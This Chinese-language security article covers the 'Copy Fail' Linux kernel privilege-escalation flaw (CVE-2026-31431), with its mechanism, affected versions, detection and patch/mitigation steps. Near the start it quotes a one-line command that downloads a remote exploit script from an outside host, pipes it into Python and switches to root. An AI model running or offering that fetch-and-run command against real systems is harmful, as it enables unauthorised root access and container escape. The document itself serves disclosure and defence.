一、事件核心：一个致命的一行命令

攻击者只需要在一台存在漏洞的Linux机器上执行一行命令，就能将一个普通用户权限直接提升至root：

curl https://copy.fail/exp | python3 && su

PS：如果忘记root密码，也可以利用一行命令就能帮你从普通权限找回你的root权限。

该命令从远程获取一段仅732字节的Python脚本，通过管道交给Python解释器执行，成功后会直接切换至root账户。整个过程无需编译、无需依赖特定环境、运行成功率接近100%。

二、技术原理：三个“无害”特性构成的攻击链条

Copy Fail漏洞并非某个单独的错误，而是Linux内核中三个独立且本意是用于优化的功能，在特定组合下产生的一个危险逻辑缺陷。其核心是“在错误路径中意外触发了一个本不该发生的写操作”。

攻击组合的三块积木

1. AF_ALG加密接口与algif_aead模块：Linux内核提供了一套名为AF_ALG的接口，允许用户态程序直接使用内核中的加密算法。algif_aead是其中处理“带关联数据的认证加密”（AEAD）的子模块。为提升效率，该模块支持对数据进行零拷贝操作。

2. splice()系统调用：一个高效的数据移动方法，可以在两个文件描述符之间直接移动数据，而无需将数据拷贝到用户空间。它常用于高性能服务器中。

3. 页缓存（Page Cache）机制：当程序读写一个文件时，Linux内核会将文件内容缓存到内存的“页缓存”中，后续操作直接针对内存，极大提高速度。

漏洞触发流程

攻击者利用splice()，将一个可写的文件描述符（目标是被攻击的二进制文件，如/usr/bin/su）的页缓存，直接“拼接”进AF_ALG加密接口的处理流程中。

在某个特定的加密操作失败（“Copy Fail”）路径下，algif_aead模块的代码出现逻辑错误：它错误地执行了一个4字节的写操作，并将这4个零字节写入了之前拼接进来的页缓存中。

结果就是：系统关键程序（如su）在内存（页缓存）中的映像被修改了4个字节，而其磁盘上的原始文件保持完好。这4个字节的修改足以改变程序的控制流，例如植入一条跳转指令，使其在执行时转而运行攻击者预设的恶意代码。

这个过程的精妙之处在于：

• 无需竞争：不是传统的“条件竞争”（Race Condition）漏洞，每次触发路径一致且稳定。

• 无文件修改：磁盘文件未被改动，传统的文件完整性校验工具无法检测。

• 内存篡改：攻击仅发生在内存中，系统重启后会被清除，但攻击者可反复触发。

三、影响范围：2017年以来的几乎所有Linux系统

由于该漏洞涉及的核心代码更改可以追溯到2017年（内核版本4.11左右引入相关优化），因此其影响范围极其广泛。

• 受影响版本：自2017年以来发布的所有未打补丁的Linux发行版，包括但不限于：

  • Ubuntu 18.04 LTS 及后续版本

  • Debian 10, 11, 12

  • Red Hat Enterprise Linux 8, 9

  • CentOS Stream

  • SUSE Linux Enterprise Server 12/15

  • 诸多基于Linux的容器环境、嵌入式系统、云主机。

• CVSS评分：多家安全机构评定为 7.8分（高危） 。基础评分为“本地权限提升”，但其影响面之广、利用之稳定使其被业界视为接近“核心级”的严重漏洞。

• 不仅仅是提权：该漏洞不仅可用于从普通用户提权至root，还被证明可作为容器逃逸的原语。在Kubernetes等容器环境中，一个拥有容器内普通权限的攻击者可利用此漏洞突破容器隔离，获取宿主机权限，构成更致命的供应链威胁。

四、检测与修复：立即行动指南

1. 如何判断系统是否存在漏洞？

最简单的检测方法：在非生产测试环境，使用一个无特权账户执行漏洞利用脚本。如果能够成功提权至root，则系统存在漏洞。

更稳妥的检测方式：

# 检查内核版本是否在受影响范围（例如，版本低于5.15.0-100的Ubuntu内核）
uname -r

# 检查 algif_aead 模块是否被加载
lsmod | grep algif_aead

# 查看系统发行版的安全公告（CVE-2026-31431）

2. 如何修复？

方案一：更新内核（首选、彻底）

这是唯一能从根本上消除漏洞的方法。各主流发行版已陆续推出修复补丁：

# Ubuntu / Debian
sudo apt update && sudo apt upgrade linux-image-$(uname -r)

# RHEL / CentOS / Fedora
sudo yum update kernel

# SUSE
sudo zypper patch

# 更新后务必重启系统以加载新内核
sudo reboot

方案二：临时缓解（无法立即重启时）

如果无法重启系统，可以临时禁用存在漏洞的 algif_aead 内核模块，以此阻断攻击路径。这对正常业务影响极小，因为绝大多数应用不使用该接口。

# 立即从当前运行的内核中移除该模块
sudo rmmod algif_aead

# 防止系统重启后自动加载该模块
echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif-aead.conf

请注意，这只是临时措施，强烈建议在维护窗口期尽快安排内核更新。

五、安全启示：协同披露与纵深防御

Copy Fail漏洞的披露过程是安全社区协作的典范。该漏洞由外部安全研究员发现并报告，经历了负责任的披露流程，给了各大厂商在漏洞细节公开前发布补丁的时间。

这对我们所有安全从业者再次敲响警钟：

1. 系统及时更新是基石：一个潜伏近十年的漏洞表明，持续、及时的系统更新是防御已知威胁最有效的手段。

2. 最小权限原则：严格限制用户和容器的权限，即使黑客提权成功，也能限制其破坏范围。

3. 运行时安全监测：部署行为监测工具，对利用splice()、AF_ALG等敏感系统调用组合的异常进程进行告警。

4. 容器安全不容忽视：此类“本地提权”漏洞是容器逃逸的重要跳板，必须加强对容器内核的隔离与加固。

总结

Copy Fail（CVE-2026-31431）以其稳定、通用、隐蔽的特性，成为近年来Linux本地安全领域最具威胁性的漏洞之一。它完美展示了一个看似无害的逻辑缺陷，如何组合多个正常功能点被放大为致命的安全漏洞。

对于系统管理员和安全团队而言，立即检查并更新内核是当前唯一正确的行动。对于开发者而言，这是一个关于边界检查、错误路径处理的深刻教训。在安全的世界里，最危险的往往不是明显的错误，而是逻辑在组合后的意料之外。